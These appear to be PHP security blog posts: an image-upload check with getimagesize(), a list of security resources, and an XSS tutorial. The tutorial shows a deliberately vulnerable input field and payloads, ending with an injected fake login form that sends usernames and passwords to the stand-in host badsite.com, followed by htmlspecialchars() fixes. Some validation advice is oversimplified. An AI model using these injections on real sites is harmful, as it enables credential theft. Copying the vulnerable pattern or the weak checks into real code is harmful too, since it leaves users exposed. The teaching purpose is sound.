While writing some validation code I came across this “trick” which can be used to determine if a file is an image file: Send the uploaded file through getimagesize() and check the return values.

As the PHP Manual states:

PHP Manual

The getimagesize() function will determine the size of any given image file and return the dimensions along with the file type and a height/width text string to be used inside a normal HTML IMG tag and the correspondant HTTP content type.

If PHP cannot access the file or the file is not an image, the function will generate an E_WARNING error, and return boolean FALSE. The E_WARNING error can be suppressed by using the error suppression operator ‘@’. As long as you know that the file is accessible to PHP (which it should be if PHP uploaded the file) and the function does not return FALSE, then you have a valid image file.

I first leaned about this method from the book php|architect’s Guide to PHP Security by Ilia Alshanetsky.

One of the best resources is the PHP Security Consortium, where you can find the PHP Security Guide. It is published in three different formats (HTML, PDF, DocBook Lite) and four different languages (English, French, Romanian, Serbian). They also publish their own articles and have a links library to numerous articles on other sites.

The founder of the PHP Security Consortium is Chris Shiflett, who has published a few books (including Essential PHP Security). He, of course, also has his own website where you will find the PHP & Web Application Security Blog along with numerous articles. While gathering the links for this post, I found an excellent article about XSS (Foiling Cross-Site Attacks).

Another well-known PHP security expert is Ilia Alshanetsky, creator of FUDforum. He has published php|architect’s Guide to PHP Security, and runs his own blog.

If you haven’t yet heard about the Hardened-PHP Project, it is well worth checking out. There you will find Suhosin, an advanced protection system for PHP installations. Also the Hardening patch, a patchset that adds security hardening features to PHP to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within those applications or the PHP core itself. This is also the team that brought us the Month of PHP Bugs in March ‘07.

An outspoken member of the Hardened-PHP Project is Stefan Esser, formerly a member of the php.net’s Security Response Team. Stefen Esser used to have the most active PHP security blog (PHP Security Blog), but for unknown reasons the blog has not been updated for several months.

I know there are numerous other PHP security resources on the net, but I am hoping that these links will help get you started on finding quality PHP security resources. If anyone has other sources which you frequently use please post the URL in a comment.

<input type="text" name="order" value="<?php echo $_POST['order']; ?>" />

Basically the question was: What is wrong with this code? I didn’t really think much of it, because it is a classic example of an XSS vulnerability. After submitting the quiz, I was given a phone interview in which I learned that no one else was able to pick out the the XSS vulnerability. To be fair to the others interviewed I do not know what their qualifications were or how much experience they have had with PHP.

Anyway, if you want to write code for the internet you need to be able to pick out these simple vulnerabilities and understand how they are exploited. It does not matter if you are just coding for your own website or getting paid, security holes effect not only the website but more importantly your visitors.

OK, so how is this code exploited? I assume the coders who do not see the vulnerability assume that even if the value contains HTML, JavaScript, or whatever it will simply be printed into the text box. For example if the value provided is:

<em>hello</em>

When the form is submitted the code will simply print:

<em>hello</em>

in the text box.

This is true, but the problem is; what happens when someone enters:

watch it grow" size="100

When this value is printed in the text box, the browser ’sees’ the quote following: watch it grow and ends the ‘value’ attribute. The browser then adds a ’size’ attribute to the input tag, whose value is 100. Basically the code interpreted by the browser looks like this:

<input type="text" name="order" value="watch it grow" size="100" />

Now we know that simply adding a ” (quote) will end the value attribute and any number of additional attributes can be added by the user. So lets make a more interactive value and add some JavaScript. In the text box we can add:

click here” onclick=”alert(‘hello’);

Now the code interpreted by the browser looks like this:

<input type="text" name="order" value="click here" onclick="alert('hello');" />

After the form is submitted the value in the text box reads: click here. When the user then clicks the text box the JavaScript will fire and an alert will appear which reads: ‘hello’.

Taking this exploit one step further, with one final example. The hack is not limited to simply adding attributes to the input tag (although in most cases this is all someone needs to do to accomplish their task). If we wanted to also add extra HTML, or a full blown JavaScript, all that needs to be done is to end the ‘value’ attribute with the ” (quote) and then add the end of the input tag: /> and presto we are out of the input tag and free to add anything; such as a new form which POSTS to a different website. Let’s add:

Fill out form completely" disabled/></form><form method="POST" action="http://badsite.com">Username: <input type="text" name="username"><br/>Password:<input type="password" name="user_pass"><br/><input type="hidden" name="end_input" value="

With this code we start with: Fill out form completely”
The ” (quote) following the word ‘completely’ will end the ‘value’ attribute.

We then place: disabled/>
This will disable the “order” input and end the tag, now we are in the realm of adding HTML.

Next by adding: </form>
We have ended the form, and are able to create something new.

As you can see we have added our own form which submits the user’s values to a different website: badsite.com. This code in essence takes control of the original submit button, because by adding the new form the submit button submits all values wherever we like.

To get a clear picture, after the form is submitted this is the code which is rendered by the browser (formatted for ease of read):

  <input type="text" name="order" value="Fill out form completely" disabled/>
</form>
<form method="POST" action="http://badsite.com">
  Username:
  <input type="text" name="username"/>
  <br />
  Password:
  <input type="password" name="user_pass"/>
  <br />
  <input type="hidden" value=""/>

Hopefully you now see that this is an extremely powerful exploit which needs to be addressed. Wait, I know what your thinking; with this type of exploit the only user effected is the one submitting the form in the first place. This is simply NOT true, but you will have to do the research yourself if you still don’t believe that this is a security hole (or you have ideas of cracking a few sites. )

So how can we possibly stop this type of attack? Actually it is really simple, PHP provides a built-in function: htmlspecialchars().

htmlspecialchars() converts special characters to HTML entities, rendering all of our examples useless. So our original piece of code would look like this:

<input type="text" name="order" value=" <?php echo htmlspecialchars($_POST['order']); ?> " />

This is only one way to ‘fix’ the problem and may not work in all situations; some other methods of preventing an XSS attack are:

• Use an exclusion approach with strip_tags().
• Use regular expressions to filter any data which may not have been caught by the built-in functions.
• Use filtration methods on all external data including: database and $_SERVER data. Basically any data which does not originate from inside the script.

I believe the best defense is a combination of a few different strategies.

XSS is a huge topic and this only scratches the surface. If you want to find more information use your favorite search engine and search the phrase: “PHP XSS exploits tutorials”. Then read until your so paranoid that you want to take down your website immediately and fix all the holes.